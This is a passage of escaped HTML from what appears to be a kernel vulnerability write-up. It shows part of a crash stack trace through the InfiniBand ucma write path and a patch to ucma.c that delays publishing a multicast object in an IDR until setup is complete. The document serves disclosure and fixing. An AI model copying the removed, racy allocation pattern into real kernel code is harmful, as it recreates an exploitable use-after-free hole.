class=\"crayon-cn\">0x42<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">0xb7<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d214191674479-47\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">624.035921<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">?<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">kasan_check_write<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0x14<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">0x20<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d214191674479-48\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">624.037151<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-v\">ucma_write<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0x31f<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">0x430<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d214191674479-49\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">624.038174<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">?<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">ucma_query_path<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">isra<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-cn\">11<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0xa60<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">0xa60<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d214191674479-50\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">624.039702<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">?<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">ucma_destroy_id<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0x5b0<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">0x5b0<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d214191674479-51\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">624.041199<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">?<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">__check_object_size<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0x2d8<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">0x560<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d214191674479-52\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">624.043076<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">?<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">ucma_destroy_id<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0x5b0<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">0x5b0<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d214191674479-53\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">624.044756<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-v\">__vfs_write<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0x90<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">0x120<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d214191674479-54\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">624.046565<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-v\">vfs_write<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0x1a0<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">0x520<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d214191674479-55\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">624.048185<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-v\">SyS_write<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0xff<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">0x240<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d214191674479-56\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">624.049546<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">?<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">SyS_read<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0x240<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">0x240<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d214191674479-57\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">624.050923<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">?<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">lock_downgrade<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0x820<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">0x820<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d214191674479-58\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">624.052617<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">?<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">SyS_read<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0x240<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">0x240<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d214191674479-59\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">624.054182<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-v\">do_syscall_64<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0x28f<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">0x7f0<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d214191674479-60\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">624.055722<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">?<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">syscall_return_slowpath<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0x400<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">0x400<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d214191674479-61\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">624.057637<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">?<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">syscall_return_slowpath<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0x253<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">0x400<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d214191674479-62\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">624.059575<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">?<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">prepare_exit_to_usermode<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0x2b0<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">0x2b0<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d214191674479-63\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">624.061498<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">?<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">preempt_notifier_dec<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0x20<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">0x20<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d214191674479-64\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">624.063201<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">?<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">perf_trace_sys_enter<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0xc70<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">0xc70<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d214191674479-65\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">624.064978<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">?<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">trace_hardirqs_off_thunk<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0x1a<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">0x1c<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d214191674479-66\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">624.066805<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-v\">entry_SYSCALL_64_after_hwframe<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0x42<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">0xb7<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0108 seconds] -->  <\/p>\n<p><strong>Patch<\/strong><\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-5b6383596d21e049442902\" class=\"crayon-syntax crayon-theme-tomorrow-night crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> &#8212; a\/drivers\/infiniband\/core\/ucma.c  +++ b\/drivers\/infiniband\/core\/ucma.c  @@ -235,7 +235,7 @@ static struct ucma_multicast* ucma_alloc                  return NULL;            mutex_lock(&amp;mut);  &#8211;       mc-&gt;id = idr_alloc(&amp;multicast_idr, mc, 0, 0, GFP_KERNEL);  +       mc-&gt;id = idr_alloc(&amp;multicast_idr, NULL, 0, 0, GFP_KERNEL);          mutex_unlock(&amp;mut);          if (mc-&gt;id &lt; 0)                  goto error;  @@ -1421,6 +1421,10 @@ static ssize_t ucma_process_join(struct                  goto err3;          }    +       mutex_lock(&amp;mut);  +       idr_replace(&amp;multicast_idr, mc, mc-&gt;id);  +       mutex_unlock(&amp;mut);  +          mutex_unlock(&amp;file-&gt;mut);          ucma_put_ctx(ctx);          return 0;<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d21e049442902-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d21e049442902-2\">2<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d21e049442902-3\">3<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d21e049442902-4\">4<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d21e049442902-5\">5<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d21e049442902-6\">6<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d21e049442902-7\">7<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d21e049442902-8\">8<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d21e049442902-9\">9<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d21e049442902-10\">10<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d21e049442902-11\">11<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d21e049442902-12\">12<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d21e049442902-13\">13<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d21e049442902-14\">14<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d21e049442902-15\">15<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d21e049442902-16\">16<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d21e049442902-17\">17<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d21e049442902-18\">18<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d21e049442902-19\">19<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d21e049442902-20\">20<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d21e049442902-21\">21<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d21e049442902-22\">22<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-5b6383596d21e049442902-1\"><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">a<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">drivers<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">infiniband<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">core<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">ucma<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">c<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d21e049442902-2\"><span class=\"crayon-o\">++<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">b<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">drivers<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">infiniband<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">core<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">ucma<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-i\">c<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d21e049442902-3\"><span class=\"crayon-sy\">@<\/span><span class=\"crayon-sy\">@<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-cn\">235<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-cn\">7<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">235<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-cn\">7<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">@<\/span><span class=\"crayon-sy\">@<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-m\">static<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">struct<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">ucma_multicast*<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">ucma_alloc<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d21e049442902-4\"><span class=\"crayon-e\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">return<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">NULL<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d21e049442902-5\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d21e049442902-6\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">mutex_lock<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">mut<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d21e049442902-7\"><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-v\">mc<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">id<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">idr_alloc<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">multicast_idr<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">mc<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">GFP_KERNEL<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d21e049442902-8\"><span class=\"crayon-o\">+<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-v\">mc<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">id<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">idr_alloc<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">multicast_idr<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">NULL<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">GFP_KERNEL<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d21e049442902-9\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">mutex_unlock<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">mut<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d21e049442902-10\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">mc<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">id<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d21e049442902-11\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">goto<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">error<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d21e049442902-12\"><span class=\"crayon-sy\">@<\/span><span class=\"crayon-sy\">@<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-cn\">1421<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-cn\">6<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">1421<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-cn\">10<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">@<\/span><span class=\"crayon-sy\">@<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-m\">static<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">ssize_t <\/span><span class=\"crayon-e\">ucma_process_join<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-t\">struct<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d21e049442902-13\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">goto<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">err3<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d21e049442902-14\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d21e049442902-15\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d21e049442902-16\"><span class=\"crayon-o\">+<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-e\">mutex_lock<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">mut<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d21e049442902-17\"><span class=\"crayon-o\">+<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-e\">idr_replace<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">multicast_idr<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">mc<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">mc<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">id<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d21e049442902-18\"><span class=\"crayon-o\">+<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-e\">mutex_unlock<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">mut<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d21e049442902-19\"><span class=\"crayon-o\">+<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d21e049442902-20\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">mutex_unlock<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">file<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">mut<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d21e049442902-21\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">ucma_put_ctx<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">ctx<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d21e049442902-22\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">return<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format 